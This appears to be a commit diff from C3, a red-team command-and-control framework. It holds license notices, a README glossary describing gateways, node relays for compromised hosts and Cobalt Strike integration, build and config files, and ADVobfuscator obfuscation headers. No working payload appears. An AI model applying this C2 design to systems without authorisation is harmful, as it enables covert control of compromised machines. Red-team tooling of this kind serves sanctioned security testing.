http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
|
||||||
|
Unless required by applicable law or agreed to in writing, software
|
||||||
|
distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
See the License for the specific language governing permissions and
|
||||||
|
limitations under the License.
|
||||||
|
|
||||||
|
---
|
||||||
|
libsodium-core
|
||||||
|
https://github.com/tabrath/libsodium-core/
|
||||||
|
License:
|
||||||
|
The MIT License (MIT)
|
||||||
|
|
||||||
|
Copyright (c) 2013 - 2016 Adam Caudill & Contributors
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||||
|
this software and associated documentation files (the "Software"), to deal in
|
||||||
|
the Software without restriction, including without limitation the rights to
|
||||||
|
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||||
|
the Software, and to permit persons to whom the Software is furnished to do so,
|
||||||
|
subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
|
||||||
|
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
|
||||||
|
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
|
||||||
|
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||||
|
|
||||||
|
---
|
||||||
|
Swashbuckle.AspNetCore
|
||||||
|
https://github.com/domaindrivendev/Swashbuckle.AspNetCore
|
||||||
|
License:
|
||||||
|
The MIT License (MIT)
|
||||||
|
|
||||||
|
Copyright (c) 2016 Richard Morris
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
|
|
||||||
|
---
|
|
@ -0,0 +1,63 @@
|
||||||
|
# C3
|
||||||
|
|
||||||
|
![C3](Res/C3.png)
|
||||||
|
|
||||||
|
C3 (Custom Command and Control) is a tool that allows Red Teams to rapidly develop and utilise esoteric command and control channels (C2). It's a framework that extends other red team tooling, such as the commercial Cobalt Strike (CS) product via [ExternalC2](https://www.cobaltstrike.com/downloads/externalc2spec.pdf), which is supported at release. It allows the Red Team to concern themselves only with the C2 they want to implement; relying on the robustness of C3 and the CS tooling to take care of the rest. This efficiency and reliability enable Red Teams to operate safely in critical client environments (by assuring a professional level of stability and security); whilst allowing for safe experimentation and rapid deployment of customised Tactics, Techniques and Procedures (TTPs). Thus, empowering Red Teams to emulate and simulate an adaptive real-world attacker.
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
See [this](https://labs.mwrinfosecurity.com/tools/c3) blog post for a detailed tutorial.
|
||||||
|
|
||||||
|
## Glossary
|
||||||
|
|
||||||
|
The most commonly used terms in C3:
|
||||||
|
|
||||||
|
- `Relays` - stand-alone pieces of C3 Networks. They communicate using `Interfaces`. There are two types of `Relays`: `Gate Relays` (or `Gateways`) and `Node Relays`.
|
||||||
|
- `Gateway` - a special `Relay` that controls one C3 Network. A C3 Network cannot operate without an operational `Gateway`. The `Gateway` is the bridge back to the attacker’s infrastructure from `Node Relays`. It's also responsible for communicating back to a third-party C2 server (such as Cobalt Strike’s Teamserver). `Gateways` should always be hosted within attacker-controlled infrastructure.
|
||||||
|
- `Node Relay` - an executable to be launched on a compromised host. `Node Relays` communicate through `Devices` either between one another or back to the `Gateway`.
|
||||||
|
- `Interface` - a high level name given to anything that facilitates the sending and receiving of data within a C3 network. They are always connected to some `Relay` and their purpose is to extend `Relay's` capability. Currently there are three types of `Interfaces`: `Channels`, `Peripherals` and `Connectors`.
|
||||||
|
- `Devices` - common name for `Channels` and `Peripherals`. This abstraction is created to generalize `Interfaces` that are able to be used on `Node Relays`.
|
||||||
|
- `Channel` - an `Interface` used to transport data between two `Relays`. `Channels` works in pairs and do not support the one-to-many transmission (see `Negotiation Channels`).
|
||||||
|
- `Negotiation Channel` - a special `Channel` capable of establishing regular `Channel` connections with multiple `Relays`. The negotiation process is fully automatic. `Negotiation Channels` support only negotiation protocol and cannot be used in any other transmission.
|
||||||
|
- `Gateway Return Channel (GRC)` - the configured `Channel` that a `Relay` will use to send data back to the `Gateway`. `GRC` may be a route through another `Relay`. The first `Channel` (initial) on a `Node Relay` is automatically set as `GRC` for that `Node Relay`.
|
||||||
|
- `Peripherals` - a third-party implant of a command and control framework. `Peripherals` talk to their native controllers via a `Controller`. For example, Cobalt Strike’s SMB beacon.
|
||||||
|
- `Connectors` - an integration with a third-party command and control framework. For instance the ‘External C2’ interface exposed by Cobalt Strike’s Teamserver through the externalc2_start command.
|
||||||
|
- `Binders` - common name for `Peripherals` and `Connectors`.
|
||||||
|
- `Device ID` - a dynamic ID that uniquely addresses one `Device` on a `Relay`.
|
||||||
|
- `Agent ID` - a dynamic ID that uniquely addresses a `Node Relay`. `Node Relays` instantiated from the same executable will have different `Agent IDs`.
|
||||||
|
- `Build ID` - a static ID that is built into every `Relay`. Stays unchanged over reboots.
|
||||||
|
- `Route ID` - a pair of an `Agent ID` and a `Device ID`. Used to describe one "path" to a `Node Relay` (`Node Relays` might be reachable via many `Routes`).
|
||||||
|
- `Route` - a "path" to a `Node Relay`. Every `Relay` keeps a table of all of their child `Relays` (and grandchildren, grand-grandchildren, and so on) along with `Channel` `Device IDs` used to reach that particular `Relay` (see `Route ID`). When a packet from the `Gateway` arrives to a `Node Relay`, routing table is used to choose appropriate `Channel` to send the packet through to the recipient.
|
||||||
|
- `Update Delay Jitter` - delay between successive updates of an `Interface` (in case of `Channels` - calls to OnReceiveFromChannel method). Can be set to be randomized in provided range of time values.
|
||||||
|
|
||||||
|
## License
|
||||||
|
|
||||||
|
BSD 3-Clause License
|
||||||
|
|
||||||
|
Copyright (c) 2018-2019, MWR Infosecurity
|
||||||
|
All rights reserved.
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without
|
||||||
|
modification, are permitted provided that the following conditions are met:
|
||||||
|
|
||||||
|
1. Redistributions of source code must retain the above copyright notice, this
|
||||||
|
list of conditions and the following disclaimer.
|
||||||
|
|
||||||
|
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||||
|
this list of conditions and the following disclaimer in the documentation
|
||||||
|
and/or other materials provided with the distribution.
|
||||||
|
|
||||||
|
3. Neither the name of the copyright holder nor the names of its
|
||||||
|
contributors may be used to endorse or promote products derived from
|
||||||
|
this software without specific prior written permission.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||||
|
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
|
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||||
|
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||||
|
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||||
|
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||||
|
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||||
|
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||||
|
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
Binary file not shown.
After Width: | Height: | Size: 229 KiB |
|
@ -0,0 +1,5 @@
|
||||||
|
{
|
||||||
|
"API Bridge IP": "127.0.0.1",
|
||||||
|
"API Bridge port": 2323,
|
||||||
|
"BuildId": "AABBCCDD"
|
||||||
|
}
|
|
@ -0,0 +1,9 @@
|
||||||
|
@echo off
|
||||||
|
cd WebController
|
||||||
|
if exist C3API.db (del C3API.db)
|
||||||
|
if "%1"=="" (
|
||||||
|
set tmp="http://localhost:52935"
|
||||||
|
) else (
|
||||||
|
set tmp=%1
|
||||||
|
)
|
||||||
|
dotnet C3WebController.dll --urls %tmp%
|
|
@ -0,0 +1,109 @@
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio Version 16
|
||||||
|
VisualStudioVersion = 16.0.28803.202
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NodeRelayConsoleExe", "NodeRelayConsoleExe\NodeRelayConsoleExe.vcxproj", "{D00C849B-4FA5-4E84-B9EF-B1C8C338647A}"
|
||||||
|
ProjectSection(ProjectDependencies) = postProject
|
||||||
|
{9341205B-AEE0-483B-9A80-975C2084C3AE} = {9341205B-AEE0-483B-9A80-975C2084C3AE}
|
||||||
|
EndProjectSection
|
||||||
|
EndProject
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "GatewayConsoleExe", "Gateway\Gateway.vcxproj", "{B7C64002-5002-410F-868C-826073AFA924}"
|
||||||
|
ProjectSection(ProjectDependencies) = postProject
|
||||||
|
{9341205B-AEE0-483B-9A80-975C2084C3AE} = {9341205B-AEE0-483B-9A80-975C2084C3AE}
|
||||||
|
EndProjectSection
|
||||||
|
EndProject
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NodeRelayDll", "NodeRelayDll\NodeRelayDll.vcxproj", "{946619C2-5959-4C0C-BC7C-1C27D825B042}"
|
||||||
|
ProjectSection(ProjectDependencies) = postProject
|
||||||
|
{9341205B-AEE0-483B-9A80-975C2084C3AE} = {9341205B-AEE0-483B-9A80-975C2084C3AE}
|
||||||
|
EndProjectSection
|
||||||
|
EndProject
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Common", "Common\Common.vcxitems", "{5CC52339-4B11-47DF-B1DB-18FBCF057123}"
|
||||||
|
EndProject
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Core", "Core\Core.vcxproj", "{9341205B-AEE0-483B-9A80-975C2084C3AE}"
|
||||||
|
EndProject
|
||||||
|
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "WebController", "WebController\Backend\WebController.csproj", "{023B2DB0-6DA4-4F0D-988B-4D9BF522DA37}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SharedMSBuildProjectFiles) = preSolution
|
||||||
|
Common\Common.vcxitems*{5cc52339-4b11-47df-b1db-18fbcf057123}*SharedItemsImports = 9
|
||||||
|
Common\Common.vcxitems*{946619c2-5959-4c0c-bc7c-1c27d825b042}*SharedItemsImports = 4
|
||||||
|
Common\Common.vcxitems*{b7c64002-5002-410f-868c-826073afa924}*SharedItemsImports = 4
|
||||||
|
Common\Common.vcxitems*{d00c849b-4fa5-4e84-b9ef-b1c8c338647a}*SharedItemsImports = 4
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|x64 = Debug|x64
|
||||||
|
Debug|x86 = Debug|x86
|
||||||
|
Release|x64 = Release|x64
|
||||||
|
Release|x86 = Release|x86
|
||||||
|
ReleaseWithDebInfo|x64 = ReleaseWithDebInfo|x64
|
||||||
|
ReleaseWithDebInfo|x86 = ReleaseWithDebInfo|x86
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{D00C849B-4FA5-4E84-B9EF-B1C8C338647A}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
|
{D00C849B-4FA5-4E84-B9EF-B1C8C338647A}.Debug|x64.Build.0 = Debug|x64
|
||||||
|
{D00C849B-4FA5-4E84-B9EF-B1C8C338647A}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{D00C849B-4FA5-4E84-B9EF-B1C8C338647A}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{D00C849B-4FA5-4E84-B9EF-B1C8C338647A}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{D00C849B-4FA5-4E84-B9EF-B1C8C338647A}.Release|x64.Build.0 = Release|x64
|
||||||
|
{D00C849B-4FA5-4E84-B9EF-B1C8C338647A}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{D00C849B-4FA5-4E84-B9EF-B1C8C338647A}.Release|x86.Build.0 = Release|Win32
|
||||||
|
{D00C849B-4FA5-4E84-B9EF-B1C8C338647A}.ReleaseWithDebInfo|x64.ActiveCfg = ReleaseWithDebInfo|x64
|
||||||
|
{D00C849B-4FA5-4E84-B9EF-B1C8C338647A}.ReleaseWithDebInfo|x64.Build.0 = ReleaseWithDebInfo|x64
|
||||||
|
{D00C849B-4FA5-4E84-B9EF-B1C8C338647A}.ReleaseWithDebInfo|x86.ActiveCfg = ReleaseWithDebInfo|Win32
|
||||||
|
{D00C849B-4FA5-4E84-B9EF-B1C8C338647A}.ReleaseWithDebInfo|x86.Build.0 = ReleaseWithDebInfo|Win32
|
||||||
|
{B7C64002-5002-410F-868C-826073AFA924}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
|
{B7C64002-5002-410F-868C-826073AFA924}.Debug|x64.Build.0 = Debug|x64
|
||||||
|
{B7C64002-5002-410F-868C-826073AFA924}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{B7C64002-5002-410F-868C-826073AFA924}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{B7C64002-5002-410F-868C-826073AFA924}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{B7C64002-5002-410F-868C-826073AFA924}.Release|x64.Build.0 = Release|x64
|
||||||
|
{B7C64002-5002-410F-868C-826073AFA924}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{B7C64002-5002-410F-868C-826073AFA924}.Release|x86.Build.0 = Release|Win32
|
||||||
|
{B7C64002-5002-410F-868C-826073AFA924}.ReleaseWithDebInfo|x64.ActiveCfg = ReleaseWithDebInfo|x64
|
||||||
|
{B7C64002-5002-410F-868C-826073AFA924}.ReleaseWithDebInfo|x64.Build.0 = ReleaseWithDebInfo|x64
|
||||||
|
{B7C64002-5002-410F-868C-826073AFA924}.ReleaseWithDebInfo|x86.ActiveCfg = ReleaseWithDebInfo|Win32
|
||||||
|
{B7C64002-5002-410F-868C-826073AFA924}.ReleaseWithDebInfo|x86.Build.0 = ReleaseWithDebInfo|Win32
|
||||||
|
{946619C2-5959-4C0C-BC7C-1C27D825B042}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
|
{946619C2-5959-4C0C-BC7C-1C27D825B042}.Debug|x64.Build.0 = Debug|x64
|
||||||
|
{946619C2-5959-4C0C-BC7C-1C27D825B042}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{946619C2-5959-4C0C-BC7C-1C27D825B042}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{946619C2-5959-4C0C-BC7C-1C27D825B042}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{946619C2-5959-4C0C-BC7C-1C27D825B042}.Release|x64.Build.0 = Release|x64
|
||||||
|
{946619C2-5959-4C0C-BC7C-1C27D825B042}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{946619C2-5959-4C0C-BC7C-1C27D825B042}.Release|x86.Build.0 = Release|Win32
|
||||||
|
{946619C2-5959-4C0C-BC7C-1C27D825B042}.ReleaseWithDebInfo|x64.ActiveCfg = ReleaseWithDebInfo|x64
|
||||||
|
{946619C2-5959-4C0C-BC7C-1C27D825B042}.ReleaseWithDebInfo|x64.Build.0 = ReleaseWithDebInfo|x64
|
||||||
|
{946619C2-5959-4C0C-BC7C-1C27D825B042}.ReleaseWithDebInfo|x86.ActiveCfg = ReleaseWithDebInfo|Win32
|
||||||
|
{946619C2-5959-4C0C-BC7C-1C27D825B042}.ReleaseWithDebInfo|x86.Build.0 = ReleaseWithDebInfo|Win32
|
||||||
|
{9341205B-AEE0-483B-9A80-975C2084C3AE}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
|
{9341205B-AEE0-483B-9A80-975C2084C3AE}.Debug|x64.Build.0 = Debug|x64
|
||||||
|
{9341205B-AEE0-483B-9A80-975C2084C3AE}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{9341205B-AEE0-483B-9A80-975C2084C3AE}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{9341205B-AEE0-483B-9A80-975C2084C3AE}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{9341205B-AEE0-483B-9A80-975C2084C3AE}.Release|x64.Build.0 = Release|x64
|
||||||
|
{9341205B-AEE0-483B-9A80-975C2084C3AE}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{9341205B-AEE0-483B-9A80-975C2084C3AE}.Release|x86.Build.0 = Release|Win32
|
||||||
|
{9341205B-AEE0-483B-9A80-975C2084C3AE}.ReleaseWithDebInfo|x64.ActiveCfg = ReleaseWithDebInfo|x64
|
||||||
|
{9341205B-AEE0-483B-9A80-975C2084C3AE}.ReleaseWithDebInfo|x64.Build.0 = ReleaseWithDebInfo|x64
|
||||||
|
{9341205B-AEE0-483B-9A80-975C2084C3AE}.ReleaseWithDebInfo|x86.ActiveCfg = ReleaseWithDebInfo|Win32
|
||||||
|
{9341205B-AEE0-483B-9A80-975C2084C3AE}.ReleaseWithDebInfo|x86.Build.0 = ReleaseWithDebInfo|Win32
|
||||||
|
{023B2DB0-6DA4-4F0D-988B-4D9BF522DA37}.Debug|x64.ActiveCfg = Debug|Any CPU
|
||||||
|
{023B2DB0-6DA4-4F0D-988B-4D9BF522DA37}.Debug|x64.Build.0 = Debug|Any CPU
|
||||||
|
{023B2DB0-6DA4-4F0D-988B-4D9BF522DA37}.Debug|x86.ActiveCfg = Debug|Any CPU
|
||||||
|
{023B2DB0-6DA4-4F0D-988B-4D9BF522DA37}.Debug|x86.Build.0 = Debug|Any CPU
|
||||||
|
{023B2DB0-6DA4-4F0D-988B-4D9BF522DA37}.Release|x64.ActiveCfg = Release|Any CPU
|
||||||
|
{023B2DB0-6DA4-4F0D-988B-4D9BF522DA37}.Release|x64.Build.0 = Release|Any CPU
|
||||||
|
{023B2DB0-6DA4-4F0D-988B-4D9BF522DA37}.Release|x86.ActiveCfg = Release|Any CPU
|
||||||
|
{023B2DB0-6DA4-4F0D-988B-4D9BF522DA37}.Release|x86.Build.0 = Release|Any CPU
|
||||||
|
{023B2DB0-6DA4-4F0D-988B-4D9BF522DA37}.ReleaseWithDebInfo|x64.ActiveCfg = ReleaseWithDebInfo|Any CPU
|
||||||
|
{023B2DB0-6DA4-4F0D-988B-4D9BF522DA37}.ReleaseWithDebInfo|x64.Build.0 = ReleaseWithDebInfo|Any CPU
|
||||||
|
{023B2DB0-6DA4-4F0D-988B-4D9BF522DA37}.ReleaseWithDebInfo|x86.ActiveCfg = ReleaseWithDebInfo|Any CPU
|
||||||
|
{023B2DB0-6DA4-4F0D-988B-4D9BF522DA37}.ReleaseWithDebInfo|x86.Build.0 = ReleaseWithDebInfo|Any CPU
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||||
|
SolutionGuid = {B9B7CEB7-A146-4F29-9A20-085BA7A9E5D7}
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
|
@ -0,0 +1,39 @@
|
||||||
|
//
|
||||||
|
// Indexes.h
|
||||||
|
// ADVobfuscator
|
||||||
|
//
|
||||||
|
// Copyright (c) 2010-2017, Sebastien Andrivet
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||||
|
//
|
||||||
|
// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//
|
||||||
|
// Get latest version on https://github.com/andrivet/ADVobfuscator
|
||||||
|
|
||||||
|
#ifndef Indexes_h
|
||||||
|
#define Indexes_h
|
||||||
|
|
||||||
|
// std::index_sequence will be available with C++14 (C++1y). For the moment, implement a (very) simplified and partial version. You can find more complete versions on the Internet
|
||||||
|
// MakeIndex<N>::type generates Indexes<0, 1, 2, 3, ..., N>
|
||||||
|
|
||||||
|
namespace andrivet { namespace ADVobfuscator {
|
||||||
|
|
||||||
|
template<int... I>
|
||||||
|
struct Indexes { using type = Indexes<I..., sizeof...(I)>; };
|
||||||
|
|
||||||
|
template<int N>
|
||||||
|
struct Make_Indexes { using type = typename Make_Indexes<N-1>::type::type; };
|
||||||
|
|
||||||
|
template<>
|
||||||
|
struct Make_Indexes<0> { using type = Indexes<>; };
|
||||||
|
|
||||||
|
}}
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,29 @@
|
||||||
|
//
|
||||||
|
// Inline.h
|
||||||
|
// ADVobfuscator
|
||||||
|
//
|
||||||
|
// Copyright (c) 2010-2017, Sebastien Andrivet
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||||
|
//
|
||||||
|
// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//
|
||||||
|
// Get latest version on https://github.com/andrivet/ADVobfuscator
|
||||||
|
|
||||||
|
#ifndef Inline_h
|
||||||
|
#define Inline_h
|
||||||
|
|
||||||
|
#if defined(_MSC_VER)
|
||||||
|
#define ALWAYS_INLINE __forceinline
|
||||||
|
#else
|
||||||
|
#define ALWAYS_INLINE __attribute__((always_inline))
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,93 @@
|
||||||
|
//
|
||||||
|
// MetaRandom.h
|
||||||
|
// ADVobfuscator
|
||||||
|
//
|
||||||
|
// Copyright (c) 2010-2017, Sebastien Andrivet
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||||
|
//
|
||||||
|
// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//
|
||||||
|
// Get latest version on https://github.com/andrivet/ADVobfuscator
|
||||||
|
|
||||||
|
#ifndef MetaRandom_h
|
||||||
|
#define MetaRandom_h
|
||||||
|
|
||||||
|
// Very simple compile-time random numbers generator.
|
||||||
|
|
||||||
|
// For a more complete and sophisticated example, see:
|
||||||
|
// http://www.researchgate.net/profile/Zalan_Szgyi/publication/259005783_Random_number_generator_for_C_template_metaprograms/file/e0b49529b48272c5a6.pdf
|
||||||
|
|
||||||
|
#include <random>
|
||||||
|
|
||||||
|
namespace andrivet { namespace ADVobfuscator {
|
||||||
|
|
||||||
|
namespace
|
||||||
|
{
|
||||||
|
// I use current (compile time) as a seed
|
||||||
|
|
||||||
|
constexpr char time[] = __TIME__; // __TIME__ has the following format: hh:mm:ss in 24-hour time
|
||||||
|
|
||||||
|
// Convert time string (hh:mm:ss) into a number
|
||||||
|
constexpr int DigitToInt(char c) { return c - '0'; }
|
||||||
|
const int seed = DigitToInt(time[7]) +
|
||||||
|
DigitToInt(time[6]) * 10 +
|
||||||
|
DigitToInt(time[4]) * 60 +
|
||||||
|
DigitToInt(time[3]) * 600 +
|
||||||
|
DigitToInt(time[1]) * 3600 +
|
||||||
|
DigitToInt(time[0]) * 36000;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 1988, Stephen Park and Keith Miller
|
||||||
|
// "Random Number Generators: Good Ones Are Hard To Find", considered as "minimal standard"
|
||||||
|
// Park-Miller 31 bit pseudo-random number generator, implemented with G. Carta's optimisation:
|
||||||
|
// with 32-bit math and without division
|
||||||
|
|
